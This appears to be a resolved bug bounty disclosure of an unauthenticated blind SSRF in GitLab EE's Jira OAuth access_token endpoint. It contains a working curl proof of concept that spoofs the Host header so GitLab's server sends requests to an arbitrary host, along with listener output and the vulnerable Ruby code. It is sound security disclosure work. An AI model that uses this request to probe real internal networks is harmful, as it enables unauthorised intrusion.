Unauthenticated blind SSRF in OAuth Jira authorization controller
High
G
GitLab
Submitted None
Actions:
Reported by
jobert
Vulnerability Details
Technical details and impact analysis
The `Oauth::Jira::AuthorizationsController#access_token` endpoint is vulnerable to a blind SSRF vulnerability. The vulnerability allows an attacker to make arbitrary HTTP/HTTPS requests inside a GitLab instance's network.
# Proof of concept
To reproduce the vulnerability, follow the steps below.
- spin up a GitLab EE instance with the latest version (11.2.1-ee)
- send a `POST` request to the `/-/jira/login/oauth/callback` endpoint, as shown below. In the request, point the `Host` header to the hostname / IP address and port number you want to send the request to:
```
curl -X POST -H 'Host: 162.243.147.21:81' 'https://gitlab.com/-/jira/login/oauth/access_token'
```
- Observe a `POST` request being sent to `162.243.147.21:81` (in this case HTTPS):
```
Listening on [0.0.0.0] (family 0, port 81)
Connection from [35.231.137.154] port 81 [tcp/*] accepted (family 2, sport 58558)
��ؒ����
��/$����4�i�,�֟J%>�+�/�,�0�����#�'� ��$�(�
�gk39@j28��<=/5�l162.243.147.21
Connection closed, listening again.
```
# Vulnerable code
The following code can be found in the `Oauth::Jira::AuthorizationsController#access_token` method.
```ruby
def access_token
auth_params = params
.slice(:code, :client_id, :client_secret)
.merge(grant_type: 'authorization_code', redirect_uri: oauth_jira_callback_url)
auth_response = Gitlab::HTTP.post(oauth_token_url, body: auth_params, allow_local_requests: true)
token_type, scope, token = auth_response['token_type'], auth_response['scope'], auth_response['access_token']
render text: "access_token=#{token}&scope=#{scope}&token_type=#{token_type}"
end
```
The `GItlab::HTTP.post` call is using the `oauth_token_url` directly. This `_url` Rails routing helper uses the `Host` header to construct the URL it needs to point to. Because every host is accepted in GitLab, the constructed URL can point to an internal system. This is how it's supposed to work. However, the `Host` header should be checked before making the `post` call to avoid an attacker being able to make arbitrary requests.
## Impact
The response of the server is actually interpreted, but this is limited to a JSON response that returns an `access_token`, `scope`, and `token_type`. However, this may have additional consequences in case there are unauthenticated endpoints within the instance's network. This isn't very likely, which is why the attack complexity is set to High. It has a minor impact on Availability, because a thread is blocked on the TCP read timeout, which is set to 60 seconds (`curl -X POST -H 'Host: 162.243.147.21:81' 0.03s user 0.01s system 0% cpu 1:00.76 total`). The integrity impact is currently set at High, but this depends on additional factors, such as what other internal services can be hit. The user does not need to be authenticated to execute the call.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$4000.00
Submitted
Weakness
Server-Side Request Forgery (SSRF)